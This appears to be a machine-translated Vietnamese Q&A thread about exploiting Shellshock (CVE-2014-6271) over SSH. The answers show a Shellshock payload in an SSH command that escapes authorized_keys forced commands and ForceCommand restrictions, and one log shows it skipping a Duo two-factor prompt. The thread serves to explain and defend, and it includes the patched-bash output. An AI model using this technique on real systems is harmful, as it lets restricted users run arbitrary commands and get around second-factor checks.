shellshock có thể được khai thác qua SSH như thế nào?

Rõ ràng, shellshock Bash khai thác CVE-2014-6271 có thể được khai thác qua mạng thông qua SSH. Tôi có thể tưởng tượng cách khai thác sẽ hoạt động thông qua Apache / CGI, nhưng tôi không thể tưởng tượng được cách thức hoạt động trên SSH?

Ai đó có thể vui lòng cung cấp một ví dụ về cách SSH sẽ được khai thác và tác hại nào có thể được thực hiện đối với hệ thống?

LÀM RÕ

AFAIU, chỉ người dùng được xác thực mới có thể khai thác lỗ hổng này thông qua SSH. Công dụng khai thác này cho ai đó, người có quyền truy cập hợp pháp vào hệ thống nào? Ý tôi là, việc khai thác này không có sự leo thang đặc quyền (anh ta không thể trở thành root), vì vậy anh ta không thể làm gì nhiều hơn những gì anh ta có thể làm sau khi đăng nhập hợp pháp thông qua SSH.

Một ví dụ trong đó điều này có thể được khai thác là trên các máy chủ có authorized_keyslệnh bắt buộc. Khi thêm một mục vào ~/.ssh/authorized_keys, bạn có thể thêm tiền tố vào dòng command="foo"để buộc foophải chạy bất cứ khi nào sử dụng khóa chung ssh. Với khai thác này, nếu trình bao của người dùng mục tiêu được đặt thành bash, họ có thể tận dụng khai thác để chạy những thứ khác ngoài lệnh mà họ buộc phải thực hiện.

Điều này có thể có ý nghĩa hơn trong ví dụ, vì vậy đây là một ví dụ:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

Ở đây chúng tôi thiết lập một người dùng testuser, buộc mọi kết nối ssh sử dụng khóa ssh của bạn để chạy echo starting sleep; sleep 1.

Chúng tôi có thể kiểm tra điều này với:

$ ssh testuser@localhost echo something else
starting sleep

Lưu ý cách chúng echo something elseta không chạy, nhưng các starting sleeplệnh bắt buộc đã chạy.

Bây giờ hãy cho thấy cách khai thác này có thể được sử dụng:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

Điều này hoạt động vì sshdđặt SSH_ORIGINAL_COMMANDbiến môi trường cho lệnh được truyền. Vì vậy, mặc dù sshdđã chạy sleepvà không phải lệnh tôi đã nói với nó, vì khai thác, mã của tôi vẫn được chạy.

Mở rộng ví dụ từ Ramesh - nếu bạn sử dụng xác thực hai yếu tố, có thể bỏ qua yếu tố thứ hai bằng cách sử dụng khai thác này, tùy thuộc vào cách triển khai.

- Đăng nhập bình thường -

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

- Chạy mã không có 2FA -

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

Bạn sẽ nhận thấy nó chạy mã mà không cần nhắc 2FA.

- Sau khi vá bash -

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’

Shellshock là một lỗ hổng trên bash, không phải trên SSH. Để khai thác nó, kẻ tấn công cần phải làm cho hệ thống dễ bị tổn thương chạy bash và kiểm soát giá trị của biến môi trường sẽ được chuyển sang bash.

Để đạt được quy trình bash thông qua SSH, kẻ tấn công cần phải vượt qua các bước xác thực. (Có thể có các vectơ tấn công thông qua các dịch vụ mạng khác, nhưng chúng nằm ngoài phạm vi của luồng này.) Nếu tài khoản được phép chạy các lệnh shell tùy ý, không có cuộc tấn công nào. Lỗ hổng phát huy tác dụng nếu tài khoản bị hạn chế chạy các lệnh cụ thể: ví dụ: tài khoản chỉ SFTP hoặc tài khoản chỉ git, v.v.

Có một số cách để hạn chế tài khoản chạy một lệnh cụ thể với SSH: với ForceCommandtùy chọn trong sshd_confighoặc với a command=. hạn chế trong authorized_keystập tin. Nếu trình bao của người dùng bị lỗi, thì lỗ hổng Shellshock cho phép người dùng thường chỉ có quyền truy cập vào tài khoản bị hạn chế để bỏ qua hạn chế và thực hiện các lệnh tùy ý.